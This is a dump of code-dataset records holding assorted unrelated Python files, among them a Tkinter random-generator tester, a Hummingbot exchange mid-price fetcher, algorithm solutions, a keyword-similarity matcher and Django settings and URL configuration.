self.canvas.draw()\n\n def initialize_form(self):\n raise NotImplementedError\n\nclass RandomTest(Form):\n\n GENERATORS = [\n (\"Middle square method\", \"msm\"),\n (\"Mul mod method\", \"mmm\"),\n ]\n\n def __init__(self):\n super(RandomTest, self).__init__()\n self.initialize_form()\n self.show()\n\n\n def initialize_form(self):\n self.main_frame = self.add_frame(self.root)\n self.textaria_frame = self.add_frame(self.main_frame)\n self.textaria = self.add_textaria(self.textaria_frame)\n ### header_frame\n self.create_header_frame()\n ### msm_frame\n self.create_msm_frame()\n ### msm_frame\n self.create_mmm_frame()\n self.change_random_generator()\n\n def create_header_frame(self):\n self.header_frame = self.add_frame(self.main_frame)\n self.radio_value = self.add_radiobuttons(self.header_frame, self.GENERATORS,\n command=self.change_random_generator)\n self.N_textbox = self.add_textbox(self.header_frame, 'Count')\n self.intervals_textbox = self.add_textbox(self.header_frame, 'Intervals')\n\n def create_msm_frame(self):\n self.msm_frame = self.add_frame(self.main_frame)\n self.z0_textbox = self.add_textbox(self.msm_frame, 'Z0')\n self.button = self.add_button(self.msm_frame, 'submit', command=self.submit)\n\n def create_mmm_frame(self):\n self.mmm_frame = self.add_frame(self.main_frame)\n self.a0_textbox = self.add_textbox(self.mmm_frame, 'A0')\n self.k_textbox = self.add_textbox(self.mmm_frame, 'K')\n self.m_textbox = self.add_textbox(self.mmm_frame, 'M')\n self.button = self.add_button(self.mmm_frame, 'submit', command=self.submit)\n\n def change_random_generator(self):\n if self.radio_value.get() == 'mmm':\n self.swap_frames(self.msm_frame, self.mmm_frame)\n self.random_generator = Random.mul_mod_method\n elif self.radio_value.get() == 'msm':\n self.swap_frames(self.mmm_frame, self.msm_frame)\n self.random_generator = Random.middle_square_method\n\n\n def submit(self):\n try:\n intervals = int(self.intervals_textbox.get())\n n = int(self.N_textbox.get())\n if self.radio_value.get() == 'msm':\n params = (float(self.z0_textbox.get()),)\n elif self.radio_value.get() == 'mmm':\n params = [\n float(self.m_textbox.get()),\n float(self.k_textbox.get()),\n float(self.a0_textbox.get()),\n ]\n print(params)\n except:\n raise TypeError\n data = self.test_equality(self.random_generator(*params), intervals, n)\n self.test_independence(self.random_generator(*params), n)\n print(data)\n self.display_data(*data)\n\n def display_data(self, lefts, related_frequences, intervals):\n self.plot.clear()\n self.plot.bar(lefts, related_frequences, width=(1.0 / intervals))\n self.plot.axhline((1.0/intervals), color='r', linestyle='dashed', linewidth=1)\n max_y = max(related_frequences)\n self.plot.axis([0,1,0,max_y+0.1])\n self.draw()\n\n def test_equality(self, gen, intervals, n):\n selection = [next(gen) for i in range(n)]\n entries_count = [0] * intervals\n for x in selection:\n entries_count[int(x * intervals)] += 1\n\n related_frequences = [float(x) / n for x in entries_count]\n lefts = [float(i) / intervals for i in range(intervals)]\n m, D = get_moments(selection)\n\n string = 'Selection size {},\\n M = {},\\n D = {}\\n'.format(n, round(m, 4), round(D, 4))\n self.textaria_add_string(self.textaria, string)\n return (lefts, related_frequences, intervals)\n\n def test_independence(self, gen, n):\n s = n / 3\n z = [next(gen) for i in range(n)]\n\n mx = sum(z) / float(n)\n dx = sum((z[i] - mx) ** 2 for i in xrange(n)) / float(n)\n print(dx)\n mxy = sum(z[i] * z[i + s] for i in xrange(n - s)) / float(n - s)\n r = (mxy - mx * mx) / dx\n\n string = \"R = {}\".format(r)\n self.textaria_add_string(self.textaria, string)\n\nif __name__ == '__main__':\n RandomTest()\n","sub_path":"first.py","file_name":"first.py","file_ext":"py","file_size_in_byte":7085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"359229336","text":"\"\"\"\n@file dfsbfs-21.py\n@brief 인구 이동\n@desc\n연합 찾기 - 연결된 나라 (나라마다 체크)\n인구 이동 없을 때까지 반복하고 / 연합 국가끼리 인구 분배\n\ndeque는 탐색을 위한 / yeonhap은 연합인 나라 저장 공간\n\"\"\"\n\nimport sys\nfrom collections import deque\n\nN, L, R = map(int, sys.stdin.readline().split())\nA = [list(map(int, sys.stdin.readline().split())) for _ in range(N)]\n\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\n\ndef search(x, y, num):\n # x, y와 연합인 나라\n yeonhap = []\n yeonhap.append((x, y))\n total = A[x][y] # 연합의 전체 인구 수\n union[x][y] = num # 연합 번호\n\n # BFS\n q = deque([(x, y)])\n while q:\n x, y = q.popleft()\n for i in range(4):\n nx = x + dx[i]\n ny = y + dy[i]\n if 0 <= nx < N and 0 <= ny < N and union[nx][ny] == -1:\n if L <= abs(A[nx][ny] - A[x][y]) <= R:\n q.append((nx, ny))\n yeonhap.append((nx, ny))\n union[nx][ny] = num\n total += A[nx][ny]\n\n # 인구 분배\n nCountry = len(yeonhap)\n for a, b in yeonhap:\n A[a][b] = total // nCountry\n\n\ndays = 0\nwhile True:\n # 연합 초기화\n union = [[-1]*N for _ in range(N)]\n num = 0 # 연합국 번호\n\n # 각 나라마다 체크\n for i in range(N):\n for j in range(N):\n if union[i][j] == -1: # 아직 처리되지 않은 나라\n search(i, j, num)\n num += 1\n\n # 모든 인구 이동\n if num == N * N:\n break\n\n days += 1\n\nprint(days)\n","sub_path":"이취코테/dfsbfs-21.py","file_name":"dfsbfs-21.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"470541888","text":"import requests\nfrom decimal import Decimal\nfrom typing import Optional\nimport cachetools.func\nfrom hummingbot.market.binance.binance_market import BinanceMarket\nfrom hummingbot.market.kraken.kraken_market import KrakenMarket\nfrom hummingbot.market.ocean.ocean_market import OceanMarket\n\n\nBINANCE_PRICE_URL = \"https://api.binance.com/api/v3/ticker/bookTicker\"\nKUCOIN_PRICE_URL = \"https://api.kucoin.com/api/v1/market/allTickers\"\nLIQUID_PRICE_URL = \"https://api.liquid.com/products\"\nBITTREX_PRICE_URL = \"https://api.bittrex.com/api/v1.1/public/getmarketsummaries\"\nKRAKEN_PRICE_URL = \"https://api.kraken.com/0/public/Ticker?pair=\"\nCOINBASE_PRO_PRICE_URL = \"https://api.pro.coinbase.com/products/TO_BE_REPLACED/ticker\"\nOCEAN_PRICE_URL = \"https://api.oceanex.pro/v1/tickers\"\n\n\ndef get_mid_price(exchange: str, trading_pair: str) -> Optional[Decimal]:\n if exchange == \"binance\":\n return binance_mid_price(trading_pair)\n elif exchange == \"kucoin\":\n return kucoin_mid_price(trading_pair)\n elif exchange == \"liquid\":\n return liquid_mid_price(trading_pair)\n elif exchange == \"bittrex\":\n return bittrex_mid_price(trading_pair)\n elif exchange == \"kraken\":\n return kraken_mid_price(trading_pair)\n elif exchange == \"coinbase_pro\":\n return coinbase_pro_mid_price(trading_pair)\n elif exchange == \"ocean\":\n return ocean_mid_price(trading_pair)\n else:\n return binance_mid_price(trading_pair)\n\n\n@cachetools.func.ttl_cache(ttl=10)\ndef binance_mid_price(trading_pair: str) -> Optional[Decimal]:\n resp = requests.get(url=BINANCE_PRICE_URL)\n records = resp.json()\n result = None\n for record in records:\n pair = BinanceMarket.convert_from_exchange_trading_pair(record[\"symbol\"])\n if trading_pair == pair and record[\"bidPrice\"] is not None and record[\"askPrice\"] is not None:\n result = (Decimal(record[\"bidPrice\"]) + Decimal(record[\"askPrice\"])) / Decimal(\"2\")\n break\n return result\n\n\n@cachetools.func.ttl_cache(ttl=10)\ndef kucoin_mid_price(trading_pair: str) -> Optional[Decimal]:\n resp = requests.get(url=KUCOIN_PRICE_URL)\n records = resp.json()\n result = None\n for record in records[\"data\"][\"ticker\"]:\n if trading_pair == record[\"symbolName\"] and record[\"buy\"] is not None and record[\"sell\"] is not None:\n result = (Decimal(record[\"buy\"]) + Decimal(record[\"sell\"])) / Decimal(\"2\")\n break\n return result\n\n\n@cachetools.func.ttl_cache(ttl=10)\ndef liquid_mid_price(trading_pair: str) -> Optional[Decimal]:\n resp = requests.get(url=LIQUID_PRICE_URL)\n records = resp.json()\n result = None\n for record in records:\n pair = f\"{record['base_currency']}-{record['quoted_currency']}\"\n if trading_pair == pair and record[\"market_ask\"] is not None and record[\"market_bid\"] is not None:\n result = (Decimal(record[\"market_ask\"]) + Decimal(record[\"market_bid\"])) / Decimal(\"2\")\n break\n return result\n\n\n@cachetools.func.ttl_cache(ttl=10)\ndef bittrex_mid_price(trading_pair: str) -> Optional[Decimal]:\n resp = requests.get(url=BITTREX_PRICE_URL)\n records = resp.json()\n result = None\n for record in records[\"result\"]:\n symbols = record[\"MarketName\"].split(\"-\")\n pair = f\"{symbols[1]}-{symbols[0]}\"\n if trading_pair == pair and record[\"Bid\"] is not None and record[\"Ask\"] is not None:\n result = (Decimal(record[\"Bid\"]) + Decimal(record[\"Ask\"])) / Decimal(\"2\")\n break\n return result\n\n\n@cachetools.func.ttl_cache(ttl=10)\ndef kraken_mid_price(trading_pair: str) -> Optional[Decimal]:\n k_pair = KrakenMarket.convert_to_exchange_trading_pair(trading_pair)\n resp = requests.get(url=KRAKEN_PRICE_URL + k_pair)\n resp_json = resp.json()\n if len(resp_json[\"error\"]) == 0:\n for record in resp_json[\"result\"]: # assume only one pair is received\n record = resp_json[\"result\"][record]\n result = (Decimal(record[\"a\"][0]) + Decimal(record[\"b\"][0])) / Decimal(\"2\")\n return result\n\n\n@cachetools.func.ttl_cache(ttl=10)\ndef coinbase_pro_mid_price(trading_pair: str) -> Optional[Decimal]:\n resp = requests.get(url=COINBASE_PRO_PRICE_URL.replace(\"TO_BE_REPLACED\", trading_pair))\n record = resp.json()\n if \"bid\" in record and \"ask\" in record:\n result = (Decimal(record[\"bid\"]) + Decimal(record[\"ask\"])) / Decimal(\"2\")\n return result\n\n\n@cachetools.func.ttl_cache(ttl=10)\ndef ocean_mid_price(trading_pair: str) -> Optional[Decimal]:\n exch_sym = OceanMarket.convert_to_exchange_trading_pair(trading_pair)\n url = OCEAN_PRICE_URL + \"/\" + exch_sym\n resp = requests.get(url=url)\n if resp.status_code != 200:\n return None\n\n resp_body = resp.json()\n resp_data = resp_body.get('data')\n if resp_data is None:\n return None\n resp_ticker = resp_data.get('ticker')\n if resp_ticker is None:\n return None\n\n bid: str = resp_ticker.get('buy')\n ask: str = resp_ticker.get('sell')\n if bid and ask:\n mid_price = (Decimal(bid) + Decimal(ask)) / Decimal(\"2\")\n return mid_price\n else:\n return None\n","sub_path":"hummingbot/core/utils/market_mid_price.py","file_name":"market_mid_price.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"46843043","text":"class Notas:\n\tdef __init__(self, name):\n\t\tself.name = name\n\t\tself.value = 10*float(input('Nota da '+ self.name + ': '))\n\t\twhile self.value < 0 or self.value > 100:\n\t\t\tprint('Nota inválida')\n\t\t\tself.value = 10*float(input('Nota da '+ self.name + ': '))\n\ndef quantoFalta(notaVE1, notaVC, notaVE2):\n\n\tmedia = (notaVC + (notaVE1 + notaVE2)/2)/2\n\tmedia = round(media)/10\n\n\tif media >= 6:\n\t\treturn 4\n\telse:\n\t\treturn 10 - media\n\nnotaVE1 = Notas(\"VE 1\")\nnotaVC = Notas(\"VC\")\nnotaVE2 = Notas(\"VE 2\")\n\nnotaNecessaria = quantoFalta(notaVE1.value, notaVC.value, notaVE2.value)\n\nprint('A nota minima necessária para não ficar de rec é ' + str(notaNecessaria))","sub_path":"AndreVital_trabalho.py","file_name":"AndreVital_trabalho.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"323608446","text":"# *_* coding:utf-8 *_*\n\nimport jieba\nimport jieba.analyse as analyse\nimport csv\nimport gensim\nfrom gensim.corpora import Dictionary\nfrom gensim import similarities\nimport numpy as np\n\n# fp = open(\"data/news_title.csv\")\nfp = open(\"data4/titles.csv\") # v1.1.1\n\ncsvfile = csv.reader(fp)\n\n\n# 用 jieba.analyse.extract_tags 进行关键词抽取\n\ncorpus = []\nqalist = []\nfor line in csvfile:\n try:\n corpus.append(analyse.extract_tags(line[0],withWeight=False))\n qalist.append(line[0])\n except:\n print(Exception)\n\n# print(corpus[10])\n# print(qalist[10])\n\ndct = Dictionary(corpus)\n# dct.save(\"data3/keyword.dict\")\ndct.save(\"data4/keyword.dict\") # v1.1.1\n\ncorpus = [dct.doc2bow(line) for line in corpus]\nmatrix = similarities.SparseMatrixSimilarity(corpus,num_features=len(dct.token2id.keys()))\n# matrix.save(\"data3/keymatrix.bz2\")\nmatrix.save(\"data4/keymatrix.bz2\") # v1.1.1\n\n# print(matrix[corpus[1]])\n\n\nif __name__ == \"__main__\":\n while True:\n ques = input(\"输入问题:\")\n corpu = dct.doc2bow(analyse.extract_tags(ques,withWeight=False))\n # print(corpu)\n similarity = matrix[corpu]\n similarity = np.array(similarity)\n print(qalist[similarity.argmax()])\n print('similarity:',similarity.max())","sub_path":"qamatch/keywords.py","file_name":"keywords.py","file_ext":"py","file_size_in_byte":1280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326806533","text":"from threading import Thread\nfrom subprocess import Popen, PIPE\n\nimport os\nimport sys\n\nexclude_directories = ['.hg', '.git']\n\ndef return_pastfile(directory):\n \n current_directory = os.path.abspath(directory)\n files_of_directory = os.listdir(current_directory)\n\n for file in files_of_directory:\n current_file = os.path.join(current_directory, file)\n if os.path.isfile(current_file):\n\n if current_file.endswith('.ini'):\n if current_file.endswith('dev.ini') or current_file.endswith('development.ini'):\n return current_file \n else:\n if current_file not in exclude_directories:\n return_pastfile(current_file) \n\n\nclass MultiPserve(Thread):\n\n def __init__(self, dir_project):\n Thread.__init__(self)\n self.dir_project = dir_project\n\n def run(self):\n paste_file = return_pastfile(self.dir_project)\n log_file = '--log-file=' + self.dir_project +'.log'\n pid_file = '--pid-file=' + self.dir_project +'.pid'\n Popen(['pserve', paste_file, '--reload', log_file, pid_file], stdout=PIPE)\n\n\ndef main(args):\n\n for arg in args[1:]:\n thread = MultiPserve(arg)\n thread.start()\n","sub_path":"multi_pserve/multi_pserver.py","file_name":"multi_pserver.py","file_ext":"py","file_size_in_byte":1225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"52496854","text":"# Runtime 35ms, Beats 84.34%\n# Basic idea: take n=4 for instance, for the first digit, each candidate (1-4) has 3! possible combinations, for the second digit,\n# each of remaining 3 candidate has 2! possible combinations, similarly, for the third and last digit, the possible combination are \n# 1! and 0! respectively. Note that we need to minus k by 1 first to avoid the situation when first digit is equal to (n-1)!.\n# link: http://bangbingsyb.blogspot.com/2014/11/leetcode-permutation-sequence.html\nclass Solution(object):\n def getPermutation(self, n, k):\n \"\"\"\n :type n: int\n :type k: int\n :rtype: str\n \"\"\"\n re = ''\n candi = range(0,n+1)\n f = math.factorial\n k = k-1\n for i in xrange(1,n+1):\n re += str(candi[k/f(n-i)+1])\n del candi[k/f(n-i)+1]\n k -= (k/f(n-i))*f(n-i)\n return re\n \n","sub_path":"Math/*60.Permutation Sequence.py","file_name":"*60.Permutation Sequence.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"343274110","text":"from concurrent.futures import ProcessPoolExecutor, as_completed\nimport math\nimport random\n\n\nAMOUNT_OF_MATHS = 20\nMAX_WORKERS = 8\n\n\ndef do_maths():\n for i in range(random.randint(10000000, 30000000)):\n final_sqrt = math.sqrt(i)\n return final_sqrt\n\n\ndef main():\n pool = ProcessPoolExecutor(max_workers=MAX_WORKERS)\n futures = []\n for _ in range(AMOUNT_OF_MATHS):\n futures.append(pool.submit(do_maths))\n\n for proc in as_completed(futures):\n print(proc.result())\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"day4/concurrency/collateral/procs_as_completed.py","file_name":"procs_as_completed.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"207303854","text":"from django import template\n\nfrom electrica.apps.servicios.models import Servicios\n\nregister = template.Library()\n\n@register.inclusion_tag('servicios_index.html', takes_context=True)\ndef show_servicios(context):\n\tservicios = Servicios.objects.all().order_by('id')[:2]\n\n\treturn{ 'MEDIA_URL':context['MEDIA_URL'], 'servicios':servicios }","sub_path":"electrica/apps/servicios/templatetags/servicios_tags.py","file_name":"servicios_tags.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"371630312","text":"from __future__ import print_function\nimport datetime\nimport os\nimport platform\nimport re\nimport socket\nimport sys\n\ntry:\n # Optional dependency\n import psutil\nexcept ImportError:\n psutil = None\n\nimport perf\n\n\n# FIXME: collect metadata of pybench:\n# * using timer: time.perf_counter\n# * timer: resolution=1e-09, implementation=clock_gettime(CLOCK_MONOTONIC)\n# Processor: x86_64\n# Python:\n# Compiler: GCC 5.3.1 20160406 (Red Hat 5.3.1-6)\n# Bits: 64bit\n# Build: May 26 2016 12:16:43 (#default:d3d8faaaaade)\n\n\ndef _add(metadata, key, value):\n if value is None:\n return\n\n if isinstance(value, int):\n value = str(value)\n elif not isinstance(value, str):\n raise TypeError(\"invalid metadata type: %r\" % (value,))\n\n value = re.sub(r'\\s+', ' ', value)\n value = value.strip()\n if value:\n metadata[key] = value\n\n\ndef _collect_python_metadata(metadata):\n # Implementation\n if hasattr(sys, 'implementation'):\n # PEP 421, Python 3.3\n metadata['python_implementation'] = sys.implementation.name\n else:\n # Convert to lower case to use the same format than Python 3\n _add(metadata, 'python_implementation',\n platform.python_implementation().lower())\n\n metadata['python_version'] = platform.python_version()\n _add(metadata, 'python_executable', sys.executable)\n\n # Before PEP 393 (Python 3.3)\n if sys.version_info < (3, 3):\n if sys.maxunicode == 0xffff:\n unicode_impl = 'UTF-16'\n else:\n unicode_impl = 'UCS-4'\n metadata['python_unicode'] = unicode_impl\n\n # FIXME: add a way to hide less important metadata?\n #try:\n # import sysconfig\n # cflags = sysconfig.get_config_var('CFLAGS')\n # _add(metadata, 'python_cflags', cflags)\n #except ImportError:\n # pass\n\n\ndef _read_proc(path):\n try:\n if perf._PY3:\n fp = open(path, encoding=\"utf-8\")\n else:\n fp = open(\"/proc/cpuinfo\")\n with fp:\n for line in fp:\n yield line.rstrip()\n except (OSError, IOError):\n return\n\n\ndef _collect_linux_metadata(metadata):\n # CPU model\n for line in _read_proc(\"/proc/cpuinfo\"):\n if line.startswith('model name'):\n model_name = line.split(':', 1)[1]\n _add(metadata, 'cpu_model_name', model_name)\n break\n\n # ASLR\n for line in _read_proc('/proc/sys/kernel/randomize_va_space'):\n enabled = 'enabled' if line != '0' else 'disabled'\n metadata['aslr'] = enabled\n break\n\n\ndef _collect_system_metadata(metadata):\n metadata['platform'] = platform.platform(True, False)\n if sys.platform.startswith('linux'):\n _collect_linux_metadata(metadata)\n\n # CPU count\n cpu_count = None\n if hasattr(os, 'cpu_count'):\n # Python 3.4\n cpu_count = os.cpu_count()\n else:\n try:\n import multiprocessing\n except ImportError:\n pass\n else:\n try:\n cpu_count = multiprocessing.cpu_count()\n except NotImplementedError:\n pass\n if cpu_count is not None and cpu_count >= 1:\n metadata['cpu_count'] = str(cpu_count)\n\n # CPU affinity\n if hasattr(os, 'sched_getaffinity'):\n cpus = os.sched_getaffinity(0)\n elif psutil is not None:\n proc = psutil.Process()\n if hasattr(proc, 'cpu_affinity'):\n cpus = proc.cpu_affinity()\n else:\n # cpu_affinity() is only available on Linux, Windows and FreeBSD\n cpus = None\n else:\n cpus = None\n if cpus is not None and cpu_count is not None and cpu_count >= 1:\n if cpus == set(range(cpu_count)):\n cpus = None\n if cpus:\n metadata['cpu_affinity'] = perf._format_cpu_list(cpus)\n\n # Hostname\n hostname = socket.gethostname()\n _add(metadata, 'hostname', hostname)\n\n\ndef collect_metadata(metadata):\n date = datetime.datetime.now().isoformat()\n metadata['date'] = date.split('.', 1)[0]\n _collect_python_metadata(metadata)\n _collect_system_metadata(metadata)\n\n\nif __name__ == \"__main__\":\n metadata = {}\n collect_metadata(metadata)\n for key, value in sorted(metadata.items()):\n print(\"%s: %s\" % (key, value))\n","sub_path":"perf/metadata.py","file_name":"metadata.py","file_ext":"py","file_size_in_byte":4330,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"497281411","text":"# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, val=0, left=None, right=None):\n# self.val = val\n# self.left = left\n# self.right = right\n\nclass Solution:\n \n \"\"\"\n Time Complexicity: O(n)\n Space Complexicity: O(n)\n where n are the number of elements in the tree\n \n Description: Construct Binary Tree from Inorder and Postorder Traversal\n \n Approach:\n 1. create a hashmap using indices and values of the preorder traversal\n 2. use start and end indices for each right and left subtree recursively to create a BST\n \n \"\"\"\n \n def buildTree(self, inorder: List[int], postorder: List[int]) -> TreeNode:\n \n assert len(inorder) == len(postorder), \"Both lists should have equal lengths\"\n if len(inorder) == 0: return None\n \n self.idx = len(postorder) - 1; self.root_dict = {}\n for value, key in enumerate(inorder):\n self.root_dict[key] = value\n \n return self.helper(postorder, 0, len(postorder) - 1)\n \n def helper(self, postorder, str_idx, end_idx):\n \n # Base\n if str_idx > end_idx: return None\n \n # Logic\n root_val = postorder[self.idx]\n root = TreeNode(root_val)\n root_idx = self.root_dict[root_val]\n self.idx -= 1\n\n root.right = self.helper(postorder, root_idx + 1, end_idx) \n root.left = self.helper(postorder, str_idx, root_idx - 1)\n \n return root\n","sub_path":"buildTree.py","file_name":"buildTree.py","file_ext":"py","file_size_in_byte":1513,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"351523054","text":"# -*- coding: utf-8 -*-\nimport os\n\n# == celery\n\nimport djcelery\ndjcelery.setup_loader()\n\ngettext = lambda s: s\n\nPROJECT_DIR = os.path.dirname(__file__)\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\nLOCAL_DEVELOPMENT = True\n\nADMINS = (\n ('nerdfiles', 'nerdfiles@gmail.com'),\n ('Leah Gilman', 'gilman.leah@gmail.com'),\n)\n\nMANAGERS = ADMINS\n\nINTERNAL_IPS = ('127.0.0.1',)\n\nLANGUAGES = [('en', 'en')]\nDEFAULT_LANGUAGE = 0\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': os.path.join(PROJECT_DIR, 'database.sqlite'),\n }\n}\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be available on all operating systems.\n# On Unix systems, a value of None will cause Django to use the same\n# timezone as the operating system.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/Chicago'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'en-us'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# If you set this to False, Django will not format dates, numbers and\n# calendars according to the current locale\nUSE_L10N = True\n\nTHEME = \"vanilla\"\nTHEME_DIR = os.path.join(PROJECT_DIR, \"_themes\", THEME)\n\n# Absolute filesystem path to the directory that will hold user-uploaded files.\n# Example: \"/home/media/media.lawrence.com/\"\n#MEDIA_ROOT = os.path.join(PROJECT_DIR, '_themes/vanilla/_assets')\nMEDIA_ROOT = os.path.realpath(os.path.join(THEME_DIR, \"_assets\"))\nMEDIA_PATH = MEDIA_ROOT # for editor settings.MEDIA_PATH + \"jquery.treeTable.css\", error\n\n#STATIC_ROOT = os.path.join(PROJECT_DIR, '_static')\nSTATIC_ROOT = os.path.realpath(os.path.join(PROJECT_DIR, \"_static\"))\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash if there is a path component (optional in other cases).\n# Examples: \"http://media.lawrence.com\", \"http://example.com/media/\"\nMEDIA_URL = '/_themes/vanilla/_assets/'\n\nSTATIC_URL = '/_static/'\n\n# URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a\n# trailing slash.\n# Examples: \"http://foo.com/media/\", \"/media/\".\n#ADMIN_MEDIA_PREFIX = '/_static/admin/'\nADMIN_MEDIA_PREFIX = '%sadmin/' % MEDIA_URL\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = '0r6%7gip5tmez*vygfv+u14h@4lbt^8e2^26o#5_f_#b7%cm)u'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'cms.middleware.page.CurrentPageMiddleware',\n 'cms.middleware.user.CurrentUserMiddleware',\n 'cms.middleware.toolbar.ToolbarMiddleware',\n)\n\nif DEBUG:\n MIDDLEWARE_CLASSES += ('debug_toolbar.middleware.DebugToolbarMiddleware',)\n\nTEMPLATE_CONTEXT_PROCESSORS = (\n 'django.core.context_processors.auth',\n 'django.core.context_processors.i18n',\n 'django.core.context_processors.request',\n 'django.core.context_processors.media',\n 'django.core.context_processors.static',\n 'cms.context_processors.media',\n 'sekizai.context_processors.sekizai',\n)\n\nif DEBUG:\n TEMPLATE_CONTEXT_PROCESSORS += ('django.core.context_processors.debug',)\nif USE_I18N:\n TEMPLATE_CONTEXT_PROCESSORS += ('django.core.context_processors.i18n',)\n\nCMS_TEMPLATES = (\n ('test.html', 'Test Template'),\n)\n\nTHUMBNAIL_PROCESSORS = (\n 'easy_thumbnails.processors.colorspace',\n 'easy_thumbnails.processors.autocrop',\n #'easy_thumbnails.processors.scale_and_crop',\n 'filer.thumbnail_processors.scale_and_crop_with_subject_location',\n 'easy_thumbnails.processors.filters',\n)\n\nROOT_URLCONF = 'urls'\n\nTEMPLATE_DIRS = (\n os.path.join(PROJECT_DIR, \"_themes\", THEME, \"_templates\"),\n)\n\nINSTALLED_APPS = (\n\n # django core\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.messages',\n 'django.contrib.admin',\n 'django.contrib.staticfiles',\n\n # cms\n 'cms',\n 'mptt',\n \n # menus\n 'treemenus',\n 'menus',\n\n # migration/fixtures\n 'south',\n 'fixture_magic',\n 'fixture_generator',\n 'django_evolution',\n\n # additional content plugins\n 'cms.plugins.text',\n 'cms.plugins.picture',\n 'cms.plugins.link',\n 'cms.plugins.file',\n 'cms.plugins.snippet',\n 'cms.plugins.googlemap',\n\n # templating/frontend\n 'sekizai',\n\n # taxonomy/relationships\n 'categories',\n 'treebeard',\n 'taggit',\n 'cms_taggit',\n\n # file uploading\n 'filer',\n 'easy_thumbnails',\n\n # testing\n 'django_pdb',\n 'test_utils',\n\n # tools\n 'django_extensions',\n\n)\n\nINSTALLED_APPS += (\"djcelery\",)\n\nif DEBUG:\n INSTALLED_APPS += (\"debug_toolbar\",)\n\n DEBUG_TOOLBAR_PANELS = (\n 'debug_toolbar.panels.version.VersionDebugPanel',\n 'debug_toolbar.panels.timer.TimerDebugPanel',\n 'debug_toolbar.panels.settings_vars.SettingsVarsDebugPanel',\n 'debug_toolbar.panels.headers.HeaderDebugPanel',\n 'debug_toolbar.panels.request_vars.RequestVarsDebugPanel',\n 'debug_toolbar.panels.template.TemplateDebugPanel',\n 'debug_toolbar.panels.sql.SQLDebugPanel',\n 'debug_toolbar.panels.signals.SignalDebugPanel',\n 'debug_toolbar.panels.logger.LoggingPanel',\n )\n\n def custom_show_toolbar(request):\n return True # Always show toolbar, for example purposes only.\n\n DEBUG_TOOLBAR_CONFIG = {\n 'INTERCEPT_REDIRECTS': False,\n 'SHOW_TOOLBAR_CALLBACK': custom_show_toolbar,\n #'EXTRA_SIGNALS': ['myproject.signals.MySignal'],\n 'MEDIA_URL': STATIC_URL + 'debug_toolbar/',\n 'HIDE_DJANGO_SQL': False,\n 'TAG': 'div',\n }\n\n","sub_path":"sophista/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":6215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"566589120","text":"\nfrom math import sqrt\n\ndef isprime(x):\n\tif x < 2:\n\t\treturn False\n\tif x == 2:\n\t\treturn True\n\tif x % 2 == 0:\n\t\treturn False\n\t\n\tfor i in xrange(2,int(sqrt(x))+1):\n\t\tif x % i == 0:\n\t\t\treturn False\n\treturn True\n\ndef factors(x):\n\tfs = []\n\tfor i in xrange(1,int(x/2)+1):\n\t\tif x % i == 0:\n\t\t\tfs.append(i)\n\tfs.append(x)\n\treturn fs\n\t","sub_path":"project_euler/commons.py","file_name":"commons.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"537895268","text":"from django.contrib import admin\nfrom django.urls import path\nfrom .views import *\nfrom django.contrib.auth import views as auth_views\nurlpatterns = [\n path('', home, name='home'),\n path('post/', post, name='post'),\n path('login/', login_page, name ='login'),\n path('search/', search, name ='search'),\n path('custom-admin/', custom_admin, name ='custom_admin'),\n path('categories/', all_category, name ='categories'),\n path('custom-admin-category/', custom_admin_category, name ='custom_admin_category'),\n path('users-info/', user_info, name ='user_info'),\n # path('login/', auth_views.LoginView.as_view(template_name= 